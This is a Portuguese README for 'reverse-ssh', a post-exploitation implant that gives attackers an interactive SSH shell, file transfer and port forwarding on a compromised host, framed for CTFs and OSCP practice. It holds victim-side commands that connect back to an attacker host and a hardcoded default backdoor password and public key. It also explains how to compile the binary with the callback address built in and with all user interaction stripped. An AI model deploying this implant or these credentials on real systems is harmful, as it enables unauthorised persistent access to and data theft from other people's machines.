
Servidor ssh estaticamente vinculado com funcionalidade de shell reversa para CTFs e afins
Um servidor ssh compilado estaticamente com um recurso de conexão reversa para acesso remoto simples, porém poderoso. Mais útil durante desafios HackTheBox, CTFs ou similares.
Foi desenvolvido e amplamente utilizado durante a preparação para o exame OSCP.

Capturar uma reverse shell com netcat é legal, com certeza, mas quem nunca fechou acidentalmente uma reverse shell com um interrupt de teclado por memória muscular? Além de sua fragilidade, essas shells geralmente também não possuem recursos de conveniência, como acesso totalmente interativo, complemento por TAB ou histórico.
Em vez disso, você pode simplesmente implantar o servidor ssh leve (<1.5MB) reverse-ssh no alvo e usar comodidades adicionais, como transferência de arquivos e encaminhamento de portas!
O ReverseSSH tenta preencher a lacuna entre o primeiro acesso a um alvo e a escalada completa de privilégios local. Seus principais pontos fortes são os seguintes:
Observações sobre o Windows
Um powershell totalmente interativo no Windows depende do Windows Pseudo Console ConPTY e, portanto, requer pelo menos Win10 Build 17763.
Em versões anteriores, você ainda pode obter uma reverse shell interativa que não lida com códigos de terminal virtual, como teclas de seta ou interrupts de teclado.
Nesses casos, você deve acrescentar o comando cmd, ou seja, ssh <OPÇÕES> <IP> cmd.
Você pode obter acesso completo a um shell interativo para versões antigas do Windows colocando o ssh-shellhost.exe do OpenSSH para Windows no mesmo diretório que reverse-ssh e então usar a flag -s ssh-shellhost.exe.
Isso redirecionará todo o tráfego através do ssh-shellhost.exe, que imita um pty e transforma todos os códigos de terminal virtual para que o Windows possa entender.
Simplesmente executar os binários fornecidos depende apenas dos requisitos de sistema do golang.
Em resumo:
A compilação adicionalmente requer o seguinte:
upx para compressão (ex.: apt install upx-ucl)Quando reverse-ssh estiver em execução na vítima, você pode conectar com qualquer nome de usuário e a senha padrão letmeinbrudipls, a chave ssh ou o que quer que você tenha especificado durante a compilação.
Afinal, é apenas um servidor ssh:
# Acesso a shell totalmente interativo
$ ssh -p <RPORT> <RHOST>
# Execução simples de comando
$ ssh -p <RPORT> <RHOST> whoami
# Transferências de arquivos completas
$ sftp -P <RPORT> <RHOST>
# Encaminhamento de portas dinâmico como proxy SOCKS na porta 9050
$ ssh -p <RPORT> -D 9050 <RHOST>
# Vítima
victim$ ./reverse-ssh
# Atacante (senha padrão: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
Nota: você pode compilar o ReverseSSH com parâmetros para LHOST e LPORT para facilitar a execução no alvo, veja abaixo
# No atacante (prepare-se para capturar a requisição de entrada;
# pode ser omitido se você já tiver um daemon ssh em execução, ex.: OpenSSH)
# NOTA: LPORT 8888 colide com conexões de entrada; use a flag `-b 8889` ou similar na vítima nesse caso
attacker$ ./reverse-ssh -v -l -p <LPORT>
# Na vítima
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# ou no caso de um daemon ssh ouvindo na porta 22 com autenticação por senha para o usuário 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# No atacante (senha padrão: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# ou com a configuração ssh abaixo
attacker$ ssh target
No final, é ssh puro, então você poderia capturar a chamada de encaminhamento de porta remota vinda da máquina da vítima com seu daemon openssh ouvindo na porta 22.
Apenas anteponha <USUÁRIO>@ e forneça a senha quando for solicitado.
Atualmente, a conexão de retorno é apenas por senha, porque ainda não me senti à vontade para incluir uma chave privada também...
Para ainda mais conveniência, adicione o seguinte ao seu ~/.ssh/config, copie a chave privada ssh para ~/.ssh/ e simplesmente chame ssh target ou sftp target depois:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
Usage: reverse-ssh [options] [[<user>@]<target>]
Examples:
Bind:
reverse-ssh -l
reverse-ssh -v -l -p 4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
Options:
-l, Start reverseSSH in listening mode (overrides reverse scenario)
-p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
-s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-N, Deny all incoming shell/exec/subsystem and local port forwarding requests
(if only remote port forwarding is needed, e.g. when catching reverse connections)
-v, Emit log output
<target>
Optional target which enables the reverse scenario. Can be prepended with
<user>@ to authenticate as a different user other than 'reverse' while dialling home
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
Certifique-se de instalar os requisitos acima, como golang em uma versão compatível, e configurá-lo corretamente.
Depois, você pode compilar com make, que criará binários estáticos em bin.
Use make compressed para empacotar os binários com upx para reduzir ainda mais seu tamanho.
$ make
# ou para também criar binários empacotados com upx
$ make compressed
Você também pode especificar uma ou mais das seguintes variáveis de ambiente ao compilar para personalizar o ReverseSSH para seu caso de uso:
RS_SHELL para alterar o shell padrãoRS_PASS para fornecer sua senha personalizadaRS_PUB para fornecer sua chave autorizada personalizadaLUSER para alterar o nome de usuário padrão da tentativa de conexão sshLHOST para fornecer um valor LHOST padrão e fazer com que o ReverseSSH padrão seja o cenário reversoLPORT para alterar a porta de escuta padrão ou a porta para onde uma tentativa de conexão ssh é enviadaBPORT para alterar a porta de escuta padrão das conexões reversas na máquina do atacante; 0 significa que qualquer porta livre é usadaNOCLI com qualquer valor remove toda interação com o usuário (o binário ignora todas as flags ou argumentos fornecidos)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
Por padrão, reverse-ssh é compilado para seu sistema operacional e arquitetura atuais, bem como para linux e windows em x86 e x64.
Para compilar para outras arquiteturas ou outro SO, você pode fornecer variáveis de ambiente que correspondam ao seu alvo, ex.: para linux/arm64:
$ GOARCH=arm64 GOOS=linux make compressed
Uma lista de alvos disponíveis no formato SO/arch pode ser obtida através de go tool dist list.
Está faltando algum recurso incrível? Algo não está funcionando como esperado?
Crie uma issue ou pull request!